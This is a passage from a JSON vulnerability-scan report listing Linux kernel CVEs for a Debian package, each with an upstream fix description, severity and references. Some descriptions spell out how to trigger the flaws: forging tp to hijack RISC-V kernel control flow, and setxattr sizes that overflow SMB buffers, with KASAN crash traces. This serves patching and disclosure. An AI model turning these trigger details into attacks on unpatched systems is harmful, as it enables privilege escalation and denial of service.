scs_load_current_if_task_changed, which\ncompares the trap-time tp (read back from sscratch into s5) against the\ncurrent tp:\n\n\tbeq\t\\prev, tp, _skip_scs\n\tscs_load_current\n_skip_scs:\n\ntp is a user-writable register. A user task that sets tp to the\nlinear-map address of its own task_struct (\u0026current) before trapping\nmakes the comparison succeed (can achieve by brute force with KASLR\nenable under our test), so the kernel skips scs_load_current and\nkeeps running with the gp that userspace left in place. Under\nCONFIG_SHADOW_CALL_STACK gp is the shadow call stack pointer and\nload_global_pointer is a no-op, so the compiler-emitted\n\"sd ra, -8(gp)\" / \"ld ra, -8(gp)\" in every non-leaf function then write\nto, and return through, an attacker-controlled address -- an\nunprivileged kernel arbitrary-write and control-flow-hijack primitive.\nThe poisoned gp is saved to task_struct.scs_sp on return, so the reload\nis skipped on every subsequent entry as well.\n\nDecide \"came from userspace\" from the hardware sstatus.SPP bit (already\nin s1 at this point) instead of from tp, mirroring the check that\nret_from_exception already uses a few instructions later. SPP is\nwritten by hardware on trap entry and cannot be forged from U-mode.\nLegitimate behaviour is unchanged: user entries (SPP=0) reload the task\nshadow call stack, nested kernel entries (SPP=1) skip it.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99018", "https://git.kernel.org/stable/c/37b4401ee6fa06046446d55e97e8d11784080843", "https://git.kernel.org/stable/c/4d0697f192975dab5985e921989be1d85cf580e9", "https://git.kernel.org/stable/c/6639735367a7d491977e9e5e7afc50b489d81d83", "https://git.kernel.org/stable/c/7d1367a53137e379498eb8791295e58854378636", "https://nvd.nist.gov/vuln/detail/CVE-2026-99018", "https://www.cve.org/CVERecord?id=CVE-2026-99018" ], "PublishedDate": "2026-10-23T13:17:24.65Z", "LastModifiedDate": "2026-10-24T14:16:52.92Z" }, { "VulnerabilityID": "CVE-2026-99056", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99056", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e6510f826364bef0ce558319b9ffd6fde81e632785c9a549f0ca8a11b758fdbd", "Title": "kernel: strparser: make sure __strp_recv isn't running before tearing down the parser", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nstrparser: make sure __strp_recv isn't running before tearing down the parser\n\nThe comment above strp_done() claims that if strp is stopped,\nstrp_recv will no longer be called. That's only true if the caller has\na mechanism (eg locking) to guarantee that strp_recv() calls that\nstarted before strp_stop() have completed by the time we call\nstrp_done().\n\nThis adds a dummy lock_sock/release_sock pair to guarantee that any\nin-flight strp_recv() (which runs under either bh_lock_sock or\nlock_sock, depending if it's called from -\u003esk_data_ready or strp_work)\nhas completed.\n\nOnly espintcp can be affected by this race condition, but this patch\nmakes sure no future user of strp can have the bug.\n\nThis could crash on strp-\u003esk (\"general mode\" of strp), but this mode\nhas been here for 9 years and has never been used. It'll be gone soon,\nno point worrying about it.\n\nSwitch the stopped/paused/etc bits to u8's to avoid races between\nstrp_stop() and strp_pause/unpause().\n\nA reproducer has been published and turns the possible UAF into an\nexploit [1].", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99056", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99056.mbox", "https://git.kernel.org/stable/c/0984ebc631792acf8fff105112ee74a6b8f1efcc", "https://git.kernel.org/stable/c/61cc5dac60d50dee06cf5c7b7ab246f9c825a715", "https://git.kernel.org/stable/c/933df60a465b1b82ff92dcd6870504da90ba4e9b", "https://git.kernel.org/stable/c/9f3e9fe1b155e9b4572054d8d140586bc3512ecf", "https://git.kernel.org/stable/c/a18dd388045dc7263d99a07db9de4e0f149ca8f1", "https://git.kernel.org/stable/c/b09071e2f8460b35c7d355addad0fc7b31c6904d", "https://git.kernel.org/stable/c/d2b5f637b9b67a79a50d42614d10653c13b4e449", "https://git.kernel.org/stable/c/eaa3a29004c063d7e9d5ea55636f693f67e6db0f", "https://nvd.nist.gov/vuln/detail/CVE-2026-99056", "https://www.cve.org/CVERecord?id=CVE-2026-99056" ], "PublishedDate": "2026-10-23T13:17:29.257Z", "LastModifiedDate": "2026-10-30T13:21:42.26Z" }, { "VulnerabilityID": "CVE-2026-99064", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99064", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:85c2527939073b4386bba34e958c4dbbdc1e6ea27df6fd2fe5a818e51bcffbc8", "Title": "kernel: cipso: adjust cached option offsets when removing CIPSO", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncipso: adjust cached option offsets when removing CIPSO\n\ncipso_v4_skbuff_delattr() removes the CIPSO bytes but does not adjust\ncached offsets for options that follow them.\n\nFor example, with a valid 10-byte CIPSO option followed by a seven-byte\nRR option, parsing records rr at offset 30. Removing CIPSO moves RR to\noffset 20, while the cached offset remains 30. Consumers such as\nip_forward_options() and __ip_options_echo() then access the wrong bytes;\nthe latter may interpret packet data as the option length and copy it into\nfixed-size option storage.\n\nMirror cipso_v4_delopt() and subtract cipso_len from the srr, rr, ts and\nrouter_alert offsets when they follow CIPSO. cipso_len is the distance\nthe first memmove() shifts those options. The later header move and\nnetwork-header reset relocate the bytes and their offset base together.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99064", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99064.mbox", "https://git.kernel.org/stable/c/2200fe1d6148b78e1b8f00f4b2bd47760015077f", "https://git.kernel.org/stable/c/6d25ffca055a77787c21a36b66c253f76239411b", "https://git.kernel.org/stable/c/6e49d611a9cfbaac927b8fa80ebd4f6b1f37ada0", "https://git.kernel.org/stable/c/b965977126a90e01825814c859ba4788691eddd3", "https://nvd.nist.gov/vuln/detail/CVE-2026-99064", "https://www.cve.org/CVERecord?id=CVE-2026-99064" ], "PublishedDate": "2026-10-23T13:17:30.253Z", "LastModifiedDate": "2026-10-24T14:16:54.507Z" }, { "VulnerabilityID": "CVE-2026-99109", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99109", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:408b32149b7bae64983779c5e01d2c40a12bb9c9aa3ed14dd3c73f22b5621625", "Title": "kernel: smb: client: reject SetEA requests that do not fit the request buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: reject SetEA requests that do not fit the request buffer\n\nCIFSSMBSetEA() copies the caller's extended attribute value into the\nSMB request buffer without checking that it fits. The requirement is\nstated in the source but was never implemented:\n\n\t/*BB add length check to see if it would fit in\n\t negotiated SMB buffer size BB */\n\t/* if (ea_value_len \u003e buffer_size - 512 (enough for header)) */\n\tif (ea_value_len)\n\t\tmemcpy(parm_data-\u003elist.name + name_len + 1,\n\t\t ea_value, ea_value_len);\n\nThe only bound applied on the way in is in cifs_xattr_set():\n\n\t#define MAX_EA_VALUE_SIZE CIFSMaxBufSize\n\t...\n\tif (size \u003e MAX_EA_VALUE_SIZE)\n\nCIFSMaxBufSize is the full payload capacity of the buffer, so a value\nof exactly that size leaves no room for the SMB header, the TRANS2\nparameter block, the fealist header and the EA name that are written\nahead of it in the same object.\n\nSendReceive() already enforces the correct limit on this very length:\n\n\tif (in_len \u003e CIFSMaxBufSize + MAX_CIFS_HDR_SIZE)\n\nbut it is called after the copy has taken place. An unprivileged\nsetxattr(2) on an SMB1 mount with a 250-byte name and a 16384-byte\nvalue writes 16384 bytes starting 345 bytes into a 16588-byte\ncifs_request object, ending 141 bytes past it:\n\n BUG: KASAN: slab-out-of-bounds in CIFSSMBSetEA+0xabc/0xde0\n Write of size 16384 at addr ffff888003aa0159 by task init/68\n __asan_memcpy+0x3c/0x60\n CIFSSMBSetEA+0xabc/0xde0\n cifs_xattr_set+0xd3a/0xff0\n __vfs_setxattr+0x13e/0x1a0\n The buggy address is located 345 bytes inside of\n allocated 16588-byte region\n\nApply SendReceive()'s limit to the assembled request before the copy\nrather than after it, and widen the byte counters so the sum cannot\nwrap before it is tested.\n\nbyte_count is also tested against U16_MAX, because it is stored in the\n16-bit pSMB-\u003eByteCount. That becomes reachable when CIFSMaxBufSize is\nraised at module load, where it may be set as high as 1024*127: with a\n5-byte EA name and a 65521-byte value, count is exactly U16_MAX while\nbyte_count is 65556, and cpu_to_le16() would truncate it to 20 and\ntransmit a frame whose ByteCount does not match its length. Testing\nbyte_count covers count as well, since byte_count is the larger of the\ntwo and count's only 16-bit consumer is written after this point.\n\ncheck_add_overflow() is evaluated first so that total_len is assigned\nbefore it is reported.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99109", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99109.mbox", "https://git.kernel.org/stable/c/4aa2c106aef4bf3dfd97c30842db0767b26e8428", "https://git.kernel.org/stable/c/79345a5d14b851e9ed28d3a9fe53301661dbcf11", "https://git.kernel.org/stable/c/9efbd764ab80fa86d2258550877a74d78a25e855", "https://nvd.nist.gov/vuln/detail/CVE-2026-99109", "https://www.cve.org/CVERecord?id=CVE-2026-99109" ], "PublishedDate": "2026-10-28T11:17:30.287Z", "LastModifiedDate": "2026-11-06T18:18:31.847Z" }, { "VulnerabilityID": "CVE-2026-99110", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99110", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8002c4e2cbbb7437ac826e58646224424a844653e8822c186e0d55dd63cf2651", "Title": "kernel: smb: client: fix heap overflow in cifs_do_set_acl()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix heap overflow in cifs_do_set_acl()\n\ncifs_set_acl() validates ACL size using posix_acl_xattr_size():\n\n 4 + (count * 8) // 4-byte header + 8 bytes per ACE\n\ncifs_do_set_acl() then calls posix_acl_to_cifs() to write the CIFS\nwire format into the same buffer:\n\n 6 + (count * 10) // 6-byte header + 10 bytes per ACE\n\nAn ACL that passes the xattr-based check in cifs_set_acl() can\noverflow the heap when posix_acl_to_cifs() writes the larger CIFS\nformat.\n\nValidate the CIFS format size against the remaining buffer space and\nUSHRT_MAX before converting--data_count is __u16, so sizes above\nUSHRT_MAX truncate the on-wire packet length, causing the server to\napply a partial ACL. Replace MaxDataCount = 1000 with\nmin(CIFSMaxBufSize, USHRT_MAX).", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99110", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99110.mbox", "https://git.kernel.org/stable/c/1dac61e2c29d1a71784604b48cf3b1234a65ec29", "https://git.kernel.org/stable/c/596b4062e6c75bdd85a7f2b7f2087a872dc420ac", "https://git.kernel.org/stable/c/68652afb9b9adf70125971abee9b95341e042249", "https://git.kernel.org/stable/c/9312a00215602ba028495ef3fa00fb84af0478e0", "https://git.kernel.org/stable/c/d96f3365ce61c5f39602955af43c8174548dee98", "https://nvd.nist.gov/vuln/detail/CVE-2026-99110", "https://www.cve.org/CVERecord?id=CVE-2026-99110" ], "PublishedDate": "2026-10-28T11:17:30.41Z", "LastModifiedDate": "2026-10-31T13:17:55.833Z" }, { "VulnerabilityID": "CVE-2026-99152", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99152", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:60f2da098ef3148d2cb1ad32978e9d51671db39f8b965f42a8383f7b4e598fa1", "Title": "kernel: kernel: Denial of Service via unvalidated task in iSCSI management responses", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: libiscsi: Validate the task named by a management response\n\n__iscsi_complete_pdu() fetches the task for five response types from one\nplace and checks only that the index resolved:\n\n case ISCSI_OP_LOGOUT_RSP:\n case ISCSI_OP_LOGIN_RSP:\n case ISCSI_OP_TEXT_RSP:\n case ISCSI_OP_SCSI_TMFUNC_RSP:\n case ISCSI_OP_NOOP_IN:\n task = iscsi_itt_to_task(conn, hdr-\u003eitt);\n if (!task)\n return ISCSI_ERR_BAD_ITT;\n\niscsi_itt_to_task() bounds the index against cmds_max and looks at\nnothing else, so a target can name any slot in the pool, including one\nthat has never been used. task-\u003econn is then NULL, and both\niscsi_nop_out_rsp() and iscsi_complete_task() dereference it. One\nunsolicited NOP-In is enough; a Text Response carrying the same ITT\ncrashes in iscsi_complete_task() instead.\n\nRequire the task to be in flight and not a SCSI command, the way\niscsi_itt_to_ctask() does for the command opcodes.\n\n[ 6.298634] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI\n[ 6.298642] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067]\n[ 6.298652] CPU: 1 UID: 0 PID: 111 Comm: iscsistart Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy)\n[ 6.298654] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[ 6.298656] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160\n[ 6.298691] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 \u003c80\u003e 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00\n[ 6.298698] RSP: 0018:ffff88806c907be8 EFLAGS: 00010206\n[ 6.298701] RAX: dffffc0000000000 RBX: ffff888006116800 RCX: 0000000000000020\n[ 6.298702] RDX: 000000000000000c RSI: ffff88800525d578 RDI: 0000000000000060\n[ 6.298703] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000\n[ 6.298706] R10: 0000000000000020 R11: 0000000000000000 R12: 0000000000000000\n[ 6.298706] R13: 000000000000002e R14: ffff8880056eb440 R15: ffff888006116800\n[ 6.298707] FS: 00007fc02d1c2740(0000) GS:ffff8880b29bc000(0000) knlGS:0000000000000000\n[ 6.298710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 6.298711] CR2: 000055fe3b56ddf8 CR3: 00000000053b9004 CR4: 0000000000770ef0\n[ 6.298712] PKRU: 55555554\n[ 6.298713] Call Trace:\n[ 6.298714] \u003cIRQ\u003e\n[ 6.298714] __iscsi_complete_pdu+0x13a8/0x22a0\n[ 6.298758] iscsi_complete_pdu+0x54/0xa0\n[ 6.298759] iscsi_tcp_hdr_recv_done+0x870/0x2c80\n[ 6.298778] iscsi_tcp_recv_skb+0x31e/0xec0\n[ 6.298800] iscsi_sw_tcp_recv+0x12f/0x390\n[ 6.298804] __tcp_read_sock+0x1ab/0x810\n[ 6.298812] iscsi_sw_tcp_data_ready+0x18b/0x510\n[ 6.298814] tcp_rcv_established+0x1f56/0x3a00\n[ 6.298842] tcp_v4_do_rcv+0x449/0x960\n[ 6.298847] tcp_v4_rcv+0x2245/0x3bc0", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99152", "https://git.kernel.org/stable/c/11bffcd9cb346732eab2914ef44fe777a3f0b585", "https://git.kernel.org/stable/c/55a65ef61e2775aeb18fda63bd1959fa8b41f936", "https://git.kernel.org/stable/c/5b56229cc152095fbe4e4ff537cb206c4aa41610", "https://git.kernel.org/stable/c/77134cf996bab55683f0ceafb9e300d97ac046f8", "https://git.kernel.org/stable/c/7a7a473aec51195778a54fdd71f20fda3047b8ef", "https://git.kernel.org/stable/c/bf4035656852a386fecb5d6217710a1bde536e76", "https://git.kernel.org/stable/c/e96ae694c5038aae84142b64e41b56324b7af9a7", "https://git.kernel.org/stable/c/f721487523d45941aed4b0ac8d829b0461a7d860", "https://nvd.nist.gov/vuln/detail/CVE-2026-99152", "https://www.cve.org/CVERecord?id=CVE-2026-99152" ], "PublishedDate": "2026-10-28T11:17:35.317Z", "LastModifiedDate": "2026-10-31T13:17:57.443Z" }, { "VulnerabilityID": "CVE-2026-99153", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99153", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d65aaeb7559aaf0da911374667a534d5bcf1d2699d12c83b39cd2d595030135e", "Title": "kernel: kernel: Denial of service via unvalidated task tag in iSCSI Reject PDU", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: libiscsi: Validate the ITT reflected in a Reject PDU\n\nA Reject PDU carries a copy of the header it rejects, and\niscsi_handle_reject() takes the ITT out of that copy to find the task to\nclean up:\n\n memcpy(\u0026rejected_pdu, data, sizeof(struct iscsi_hdr));\n ...\n task = iscsi_itt_to_task(conn, rejected_pdu.itt);\n\nThat value is whatever the target put there. iscsi_itt_to_task() bounds\nthe index against cmds_max and checks nothing else, so any task in the\npool can be named, and iscsi_nop_out_rsp() then completes it.\n\nAn index that has never been used gives a NULL task-\u003econn: the pool is\nzeroed at session setup and conn is assigned only when a task is\nallocated. If the task was used and returned, iscsi_complete_task() hits\nits WARN_ON_ONCE(task-\u003estate == ISCSI_TASK_FREE) and the refcount\nunderflows. An in-flight SCSI command is completed as successful - a 1\nMiB read returned 1048576 with none of its buffer written and no\nwarning.\n\nValidate the reflected ITT the way iscsi_itt_to_ctask() validates a\ncommand ITT, and require the task to be in flight and not a SCSI\ncommand.\n\n[ 6.248477] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI\n[ 6.249357] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067]\n[ 6.249951] CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy)\n[ 6.250718] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[ 6.251616] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160\n[ 6.252043] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 \u003c80\u003e 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00\n[ 6.252813] RSP: 0018:ffff88806c907b80 EFLAGS: 00010206\n[ 6.253042] RAX: dffffc0000000000 RBX: ffff88800607e000 RCX: ffffffff8d571a25\n[ 6.253345] RDX: 000000000000000c RSI: ffff88806c907c38 RDI: 0000000000000060\n[ 6.253642] RBP: 0000000000000000 R08: 0000000000000000 R09: fffffbfff235a504\n[ 6.253947] R10: 0000000000000003 R11: 7463656e6e6f6320 R12: 0000000000000000\n[ 6.254251] R13: 0000000000000000 R14: ffff88806c907c38 R15: 0000000000000000\n[ 6.254549] FS: 0000000000000000(0000) GS:ffff8880d95bc000(0000) knlGS:0000000000000000\n[ 6.254887] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 6.255140] CR2: 00007fc393e8ffc0 CR3: 0000000005252006 CR4: 0000000000770ef0\n[ 6.255439] PKRU: 55555554\n[ 6.255564] Call Trace:\n[ 6.255674] \u003cIRQ\u003e\n[ 6.255768] __iscsi_complete_pdu+0x18bf/0x22a0\n[ 6.256733] iscsi_complete_pdu+0x54/0xa0\n[ 6.256905] iscsi_tcp_data_recv_done+0xf4/0x250\n[ 6.257103] iscsi_tcp_recv_skb+0x31e/0xec0\n[ 6.257680] iscsi_sw_tcp_recv+0x12f/0x390\n[ 6.258061] __tcp_read_sock+0x1ab/0x810\n[ 6.258853] iscsi_sw_tcp_data_ready+0x18b/0x510\n[ 6.259808] tcp_data_queue+0x1f13/0x4cd0\n[ 6.260567] tcp_rcv_established+0x8a5/0x3a00\n[ 6.261931] tcp_v4_do_rcv+0x449/0x960\n[ 6.262269] tcp_v4_rcv+0x2245/0x3bc0", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99153", "https://git.kernel.org/stable/c/21ef746340ce246344f34278e205b8960c1d8874", "https://git.kernel.org/stable/c/3637a4ad1d07477f1c60609876da6b60154d224b", "https://git.kernel.org/stable/c/576125e7382a7826bd6c3c1ca4d9c582ed5be21d", "https://git.kernel.org/stable/c/7215a69b6456fda79c0935c2959045dff3fcaac8", "https://git.kernel.org/stable/c/c5958c770b2a0ee492414e26b07da9164a0d1f5d", "https://git.kernel.org/stable/c/d20583a9dbe0d32a9af8384c857c95c0fc115103", "https://git.kernel.org/stable/c/d79343ae3223b3f7f74b55e79f8a1371fa3f4b1a", "https://git.kernel.org/stable/c/ebb8c5ef2aabf66895253600e8390e8fc7094807", "https://nvd.nist.gov/vuln/detail/CVE-2026-99153", "https://www.cve.org/CVERecord?id=CVE-2026-99153" ], "PublishedDate": "2026-10-28T11:17:35.443Z", "LastModifiedDate": "2026-10-31T13:17:57.617Z" }, { "VulnerabilityID": "CVE-2026-99167", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99167", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bf8afbe2968d432506cf5ca8f678cfd3b1a29977ef5e9744b3784695d46933bb", "Title": "kernel: net/sched: fix use-after-free in __tcf_action_put()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: fix use-after-free in __tcf_action_put()\n\n__tcf_action_put() decrements the reference count before decrementing the\nbinding count. Another thread can free the action between these operations,\ncausing the binding-count update to access freed memory. KASAN reports it\nas:\n\n BUG: KASAN: slab-use-after-free in __tcf_action_put+0x327/0x340\n Write of size 4 at addr ff11000000d46420 by task tc-put-pause/64\n\nHold the action IDR mutex across both counter updates and IDR removal,\nkeeping cleanup outside the lock.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99167", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99167.mbox", "https://git.kernel.org/stable/c/2465d27ef90de9105c2bffb6c35f8ce08918e642", "https://git.kernel.org/stable/c/2e012e431aa271ef3c84206f48854f539c03bff0", "https://git.kernel.org/stable/c/4d83a3fc03bc595dd39b79ad61288738fbb1f2ba", "https://git.kernel.org/stable/c/7b16eb911091aae237a8673da94e4dfb9cd21d54", "https://git.kernel.org/stable/c/969ad6f2b266f383b44194d50d15631969b26222", "https://git.kernel.org/stable/c/fcc7d734ceccfab8ec3398c5b34f8e775d459507", "https://git.kernel.org/stable/c/fd01abed2568209f7daaf60e5ee68ae4a4744f48", "https://git.kernel.org/stable/c/fde33eb9955d819af282d5f5e84684eaec248291", "https://nvd.nist.gov/vuln/detail/CVE-2026-99167", "https://www.cve.org/CVERecord?id=CVE-2026-99167" ], "PublishedDate": "2026-10-28T11:17:37.173Z", "LastModifiedDate": "2026-10-31T13:17:58.417Z" }, { "VulnerabilityID": "CVE-2026-99227", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99227", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:33980bfcb097eec7045284a97b0de18fadd777f8e314acca80b31ce89ff0aadc", "Title": "kernel: kernel: Privilege escalation via reference counter wrap in io_uring", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/waitid: prevent cancel reference wrap\n\nio_waitid packs the cancellation state into bit 31 of -\u003erefs and uses\nbits 30:0 as a 31-bit reference counter:\n\n #define IO_WAITID_CANCEL_FLAG BIT(31)\n #define IO_WAITID_REF_MASK GENMASK(30, 